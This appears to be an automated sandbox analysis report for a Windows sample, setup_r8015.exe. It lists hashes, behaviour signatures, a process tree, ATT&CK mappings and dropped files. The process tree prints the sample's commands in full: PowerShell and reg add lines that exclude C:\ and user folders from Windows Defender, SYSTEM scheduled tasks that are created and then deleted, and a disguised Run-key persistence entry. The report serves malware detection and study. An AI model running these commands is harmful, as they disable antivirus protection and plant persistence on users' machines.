Analysis
- max time kernel
151s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 04:28
Static task
static1
Behavioral task
behavioral1
Sample
setup_r8015.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
setup_r8015.exe
Resource
win11ltsc2024-20260709-en
General
- Target setup_r8015.exe
- Size 40.9MB
- Sample260805-e3v5nsvydz
- SHA256 54c6afcee607bd749877d0487ca6591f1d287c03b9bf27f1e353805ea239fc96
- MD5 d2f06c6f750a4e44386f4e8c763cef8c
- SHA1 c15fc34b901dccf72a1a63c64b89dac7ff3509eb
- SHA512 9f7aae6f4e590afc9530108b617493c95240b1ee613d66b0003b0ea46240f77684d6b7af19ff0a49fc4eec8941815f3135721328394fa033cfb0c0442546efd1
- SSDEEP 98304:7uj9nmneNvl8/HgAKaF3CMGQ23dVcL8kxEPje:SRnmedl8vgAKa1RGQ23dtkSPje
- TLSH T1E797F58FBB42CDC1DA4691F0549BB76023FEFC655BE1C32312D46B21AE9718C8DA35A1
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\22nttp = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2180 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 1388 luhnpx.exe 1484 luhnpx.exe - Loads dropped DLL 2 IoCs
pid Process 1388 luhnpx.exe 1484 luhnpx.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\22nttp\\luhnpx.exe\"" luhnpx.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2760 cmd.exe 3496 cmd.exe 1480 cmd.exe 2008 cmd.exe 4604 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b luhnpx.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2148 cmd.exe 4864 cmd.exe 1660 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1016 schtasks.exe 3576 schtasks.exe 1536 schtasks.exe 2608 schtasks.exe 4788 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 5880 setup_r8015.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe 1388 luhnpx.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 2180 powershell.exe Token: SeIncreaseQuotaPrivilege 2180 powershell.exe Token: SeSecurityPrivilege 2180 powershell.exe Token: SeTakeOwnershipPrivilege 2180 powershell.exe Token: SeLoadDriverPrivilege 2180 powershell.exe Token: SeSystemProfilePrivilege 2180 powershell.exe Token: SeSystemtimePrivilege 2180 powershell.exe Token: SeProfSingleProcessPrivilege 2180 powershell.exe Token: SeIncBasePriorityPrivilege 2180 powershell.exe Token: SeCreatePagefilePrivilege 2180 powershell.exe Token: SeBackupPrivilege 2180 powershell.exe Token: SeRestorePrivilege 2180 powershell.exe Token: SeShutdownPrivilege 2180 powershell.exe Token: SeDebugPrivilege 2180 powershell.exe Token: SeSystemEnvironmentPrivilege 2180 powershell.exe Token: SeRemoteShutdownPrivilege 2180 powershell.exe Token: SeUndockPrivilege 2180 powershell.exe Token: SeManageVolumePrivilege 2180 powershell.exe Token: 33 2180 powershell.exe Token: 34 2180 powershell.exe Token: 35 2180 powershell.exe Token: 36 2180 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1388 wrote to memory of 2180 1388 luhnpx.exe 91 PID 1388 wrote to memory of 2760 1388 luhnpx.exe 93 PID 2760 wrote to memory of 2608 2760 cmd.exe 96 PID 2760 wrote to memory of 4816 2760 cmd.exe 97 PID 1388 wrote to memory of 3496 1388 luhnpx.exe 99 PID 2760 wrote to memory of 5428 2760 cmd.exe 101 PID 1388 wrote to memory of 1480 1388 luhnpx.exe 103 PID 3496 wrote to memory of 4788 3496 cmd.exe 106 PID 1480 wrote to memory of 1016 1480 cmd.exe 107 PID 3496 wrote to memory of 5004 3496 cmd.exe 109 PID 1480 wrote to memory of 3404 1480 cmd.exe 110 PID 3496 wrote to memory of 2224 3496 cmd.exe 112 PID 1480 wrote to memory of 1860 1480 cmd.exe 113 PID 1388 wrote to memory of 2008 1388 luhnpx.exe 114 PID 2008 wrote to memory of 3576 2008 cmd.exe 116 PID 1388 wrote to memory of 4604 1388 luhnpx.exe 118 PID 2008 wrote to memory of 6112 2008 cmd.exe 120 PID 4604 wrote to memory of 1536 4604 cmd.exe 121 PID 2008 wrote to memory of 608 2008 cmd.exe 123 PID 4604 wrote to memory of 4468 4604 cmd.exe 124 PID 4604 wrote to memory of 4444 4604 cmd.exe 125 PID 2148 wrote to memory of 4760 2148 cmd.exe 127 PID 4864 wrote to memory of 4988 4864 cmd.exe 128 PID 1660 wrote to memory of 2504 1660 cmd.exe 130 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe"C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:5880
-
C:\Users\Public\22nttp\luhnpx.exe"C:\Users\Public\22nttp\luhnpx.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:2180
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\22nttp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2760 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\22nttp\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2608
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4816
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3496 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4788
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5004
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1016
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3404
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3576
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6112
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1536
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4468
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4444
-
-
-
C:\Users\Public\22nttp\luhnpx.exe"C:\Users\Public\22nttp\luhnpx.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1484
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\22nttp" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2148 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\22nttp" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4760
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:2948
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4988
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2504
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\22nttp\UxEnhance64.dll
- Size 3.1MB
- SHA256 d55676bd6447775bcf4e384a603fe22d4d87233913388d48f5f308b33b90ca27
- MD5 bcdeefa1c8692e06fbb472947625a133
- SHA1 5f696c3a9404121856796101992d9418fe79ed62
- SHA512 ef85c232b3d5e018c7592147e094890ca1663f5d506f85cfe3c8afe9d78075e94bfed0e653662367877d25d817dbe272c2fc0feab18961d3d67224985b882633
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+e:P9m29xx3Tiqt06ox6+z2rNNrKoe
- TLSH T1AFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\22nttp\adoresd.dat
- Size 4.7MB
- SHA256 de2af511ad0af863f22f1175e77c52feeb1b3df3bfbca4db7bfa8df72a6e6621
- MD5 ae92bc4b16c296c980a4100fe177017d
- SHA1 d45ac14a198117b79ccc4ce2c06a98da18649f1f
- SHA512 ef425d42c02918cc7689b3783a9be3fd5f595af478974626412c87022b9d3b4346192aa7165d980bb673a51fc6398bfaae208498fd1886febbb89bae547ba7f5
- SSDEEP 98304:Gmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:du1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1383633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\22nttp\luhnpx.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\22nttp\msadox.tb
- Size 8KB
- SHA256 34b2e9271183963e6efd94eb07db99d5202c5b067dcfa3ed71578a4313281fa7
- MD5 2d3084475234b054443c905910289918
- SHA1 476dae53f51828665de19182df225abe97164a61
- SHA512 bb7fee4344a94f58ed4427e9cb550baf3b512729b7324769572d53e0aba22781d9fbac57d032de337200b296a6fdf0dcbb1f1a0ef5338ef5cd77ca1c5bce8641
- SSDEEP 192:SqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:SsZqZOXQ3uqvR2Kfzp
- TLSH T144029E05D7A20CC3D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH